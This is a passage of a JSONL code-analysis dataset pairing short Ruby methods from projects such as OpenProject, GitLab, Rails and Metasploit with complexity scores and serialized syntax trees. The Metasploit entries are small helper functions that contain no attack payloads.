end","complexity_score":20.6,"ast_json":"{\"type\":\"def\",\"children\":[\"build_specific_credential_collection\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"void_login\"]},{\"type\":\"kwarg\",\"children\":[\"no_password_login\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"void_login\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"PrivateCredentialCollection\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nil_passwords\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"no_password_login\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"CredentialCollection\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LDAPUsername\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nil_passwords\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"build_credential_collection\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LDAPUsername\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LDAPPassword\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"realm\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DOMAIN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"anonymous_login\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ANONYMOUS_LOGIN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blank_passwords\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"ca728226-9878-4c76-b6da-51c32e6c1071"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/plugins/acts_as_journalized/lib/acts/journalized/differ/association.rb","start_line":100,"raw_source":"def combine_journals(journals, attribute)\n      return unless journals\n\n      if @multiple_values\n        values = journals.map(&attribute).sort\n\n        if @multiple_values == :joined\n          values.join(\",\")\n        else\n          values.excluding(nil, \"\").presence\n        end\n      else\n        value = journals.first.send(attribute)\n\n        value unless value == \"\"\n      end\n    end","complexity_score":22.5,"ast_json":"{\"type\":\"def\",\"children\":[\"combine_journals\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"journals\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"journals\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@multiple_values\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"journals\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]},\"sort\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@multiple_values\"]},\"==\",{\"type\":\"sym\",\"children\":[\"joined\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"excluding\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"\"]}]},\"presence\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"journals\"]},\"first\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"==\",{\"type\":\"str\",\"children\":[\"\"]}]},null,{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}","id":"328361c3-f124-48cb-9228-709c53eaecaa"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/spec/mailers/meeting_mailer_spec.rb","start_line":316,"raw_source":"def check_meeting_mail_content(body)\n    expect(body).to include(meeting.project.name)\n    expect(body).to include(meeting.title)\n    expect(body).to include(i18n.format_date(meeting.start_date))\n    expect(body).to include(i18n.format_time(meeting.start_time, include_date: false))\n    expect(body).to include(i18n.format_time(meeting.end_time, include_date: false))\n    expect(body).to include(i18n.formatted_time_zone_offset)\n    expect(body).to include(meeting.participants[0].name)\n    expect(body).to include(meeting.participants[1].name)\n  end","complexity_score":80.85,"ast_json":"{\"type\":\"def\",\"children\":[\"check_meeting_mail_content\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"body\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"body\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"meeting\"]},\"project\"]},\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"body\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"meeting\"]},\"title\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"body\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"i18n\"]},\"format_date\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"meeting\"]},\"start_date\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"body\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"i18n\"]},\"format_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"meeting\"]},\"start_time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_date\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"body\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"i18n\"]},\"format_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"meeting\"]},\"end_time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_date\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"body\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"i18n\"]},\"formatted_time_zone_offset\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"body\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"meeting\"]},\"participants\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"body\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"meeting\"]},\"participants\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"name\"]}]}]}]}]}","id":"b95d56aa-3f27-450b-b946-66778864f51c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/kloxo_sqli.rb","start_line":218,"raw_source":"def ascii(char)\n    char.unpack('C')[0]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ascii\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"char\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"char\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"C\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"acc40094-a8a7-4569-a8de-7e85dde6cf3d"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/boards/app/services/boards/copy_service.rb","start_line":41,"raw_source":"def mapped_options(options)\n      options[:filters] = mapped_filters(options[:filters]) if options.key?(:filters)\n\n      options\n    end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"mapped_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"filters\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"filters\"]},{\"type\":\"send\",\"children\":[null,\"mapped_filters\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filters\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}","id":"6248813c-f37c-4cad-ba5d-0f1b3e6acc86"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/file_dropper.rb","start_line":46,"raw_source":"def allow_no_cleanup\n    datastore['AllowNoCleanup']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_no_cleanup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AllowNoCleanup\"]}]}]}","id":"95147d47-90fe-47d6-95c7-a90b80be9231"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/reference_redactor.rb","start_line":14,"raw_source":"def user\n      context.current_user\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"current_user\"]}]}","id":"a08bad68-6d20-474c-979f-c6d162f7fcc3"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/concerns/api/tags_controller.rb","start_line":8,"raw_source":"def index\n      page = params[:page]\n      per_page = (params[:per_page] || 10).to_i\n      per_page_max = (ApplicationConfig[\"API_PER_PAGE_MAX\"] || 1000).to_i\n      num = [per_page, per_page_max].min\n\n      @tags = Tag.select(ATTRIBUTES_FOR_SERIALIZATION)\n        .from_subforem\n        .order(taggings_count: :desc)\n        .page(page).per(num)\n\n      set_surrogate_key_header Tag.table_key, @tags.map(&:record_key)\n    end","complexity_score":29.15,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"per_page\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"per_page\"]}]},{\"type\":\"int\",\"children\":[10]}]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"per_page_max\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationConfig\"]},\"[]\",{\"type\":\"str\",\"children\":[\"API_PER_PAGE_MAX\"]}]},{\"type\":\"int\",\"children\":[1000]}]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"num\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"per_page\"]},{\"type\":\"lvar\",\"children\":[\"per_page_max\"]}]},\"min\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@tags\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"select\",{\"type\":\"const\",\"children\":[null,\"ATTRIBUTES_FOR_SERIALIZATION\"]}]},\"from_subforem\"]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"taggings_count\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},\"page\",{\"type\":\"lvar\",\"children\":[\"page\"]}]},\"per\",{\"type\":\"lvar\",\"children\":[\"num\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set_surrogate_key_header\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"table_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tags\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"record_key\"]}]}]}]}]}]}","id":"ee124e26-183b-4acd-a0ed-8bdb7a4b3466"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/nuuo/client.rb","start_line":109,"raw_source":"def user_session_header(opts)\n    val = nil\n    if opts['user_session']\n      val = opts['user_session']\n    elsif self.user_session\n      val = self.user_session\n    end\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"user_session_header\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"val\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_session\"]}]},{\"type\":\"lvasgn\",\"children\":[\"val\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_session\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"user_session\"]},{\"type\":\"lvasgn\",\"children\":[\"val\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"user_session\"]}]},null]}]}]}]}","id":"c1c68d67-f1c7-439f-bce3-b789beeb58ac"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_provision/service.rb","start_line":2,"raw_source":"def connect_to_service(vm, service, service_resource)\n    unless service.nil? || service_resource.nil?\n      _log.info(\"Connecting VM #{vm.id}:#{vm.name} to service #{service.id}:#{service.name}\")\n      service.add_resource!(vm, service_resource)\n    end\n  end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"connect_to_service\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vm\"]},{\"type\":\"arg\",\"children\":[\"service\"]},{\"type\":\"arg\",\"children\":[\"service_resource\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_resource\"]},\"nil?\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Connecting VM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vm\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vm\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" to service \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"add_resource!\",{\"type\":\"lvar\",\"children\":[\"vm\"]},{\"type\":\"lvar\",\"children\":[\"service_resource\"]}]}]}]}]}","id":"7351c57f-ba7a-4a4f-b79c-b3dbab2f0e5b"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/projects/settings/versions/overview_widget_component.rb","start_line":41,"raw_source":"def call\n          widget_wrapper do |widget|\n            widget.with_body(padding: :default) do\n              render partial: \"versions/overview\", locals: { version: }\n            end\n          end\n        end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"widget_wrapper\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"widget\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"widget\"]},\"with_body\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"padding\"]},{\"type\":\"sym\",\"children\":[\"default\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"str\",\"children\":[\"versions/overview\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"send\",\"children\":[null,\"version\"]}]}]}]}]}]}]}]}]}","id":"17af62bc-512f-4b58-8e9e-611584a55e7d"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/controllers/api/v1/auth_controller.rb","start_line":16,"raw_source":"def find_user_and_account\n    return unless validate_email_presence\n\n    find_saml_enabled_account\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"find_user_and_account\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_email_presence\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"find_saml_enabled_account\"]}]}]}","id":"08d104a5-feb4-46b0-9322-aeb79bbaecd3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/legacy_diff_note.rb","start_line":99,"raw_source":"def diff_for_line_code\n    attributes = {\n      noteable_type: noteable_type,\n      line_code: line_code\n    }\n\n    if for_commit?\n      attributes[:commit_id] = commit_id\n    else\n      attributes[:noteable_id] = noteable_id\n    end\n\n    self.class.where(attributes).last.try(:diff)\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_for_line_code\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"noteable_type\"]},{\"type\":\"send\",\"children\":[null,\"noteable_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line_code\"]},{\"type\":\"send\",\"children\":[null,\"line_code\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"for_commit?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"commit_id\"]},{\"type\":\"send\",\"children\":[null,\"commit_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"noteable_id\"]},{\"type\":\"send\",\"children\":[null,\"noteable_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"where\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},\"last\"]},\"try\",{\"type\":\"sym\",\"children\":[\"diff\"]}]}]}]}","id":"fb916585-ce39-4acd-952b-f38148060546"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/tasks/database_tasks.rb","start_line":115,"raw_source":"def create(configuration, *arguments)\n        db_config = resolve_configuration(configuration)\n        database_adapter_for(db_config, *arguments).create\n        $stdout.puts \"Created database '#{db_config.database}'\" if verbose?\n      rescue DatabaseAlreadyExists\n        $stderr.puts \"Database '#{db_config.database}' already exists\" if verbose?\n      rescue Exception => error\n        $stderr.puts error\n        $stderr.puts \"Couldn't create '#{db_config.database}' database. Please check your configuration.\"\n        raise\n      end","complexity_score":21.7,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"configuration\"]},{\"type\":\"restarg\",\"children\":[\"arguments\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"db_config\",{\"type\":\"send\",\"children\":[null,\"resolve_configuration\",{\"type\":\"lvar\",\"children\":[\"configuration\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"database_adapter_for\",{\"type\":\"lvar\",\"children\":[\"db_config\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arguments\"]}]}]},\"create\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"verbose?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdout\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Created database '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_config\"]},\"database\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DatabaseAlreadyExists\"]}]},null,{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"verbose?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stderr\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Database '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_config\"]},\"database\"]}]},{\"type\":\"str\",\"children\":[\"' already exists\"]}]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"error\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stderr\"]},\"puts\",{\"type\":\"lvar\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stderr\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Couldn't create '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_config\"]},\"database\"]}]},{\"type\":\"str\",\"children\":[\"' database. Please check your configuration.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]}]}","id":"ffa1b130-b214-40e6-a28b-392c96db3241"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic_timer.rb","start_line":51,"raw_source":"def runnable?\n    return false if deleted_at.present?\n    return false if execute_at > Time.zone.now\n    true\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"runnable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deleted_at\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute_at\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"aa633f52-a6a6-4b8d-a1a5-1b691b0b9c69"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/ci/daily_build_group_report_results_controller.rb","start_line":44,"raw_source":"def finder_params\n    {\n      project: project,\n      coverage: true,\n      start_date: safe_params[:start_date],\n      end_date: safe_params[:end_date],\n      ref_path: safe_params[:ref_path],\n      sort: true\n    }\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"finder_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"coverage\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safe_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"start_date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end_date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safe_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"end_date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safe_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ref_path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"73acf31e-1c74-4f63-b7ab-fa023d3946a9"}
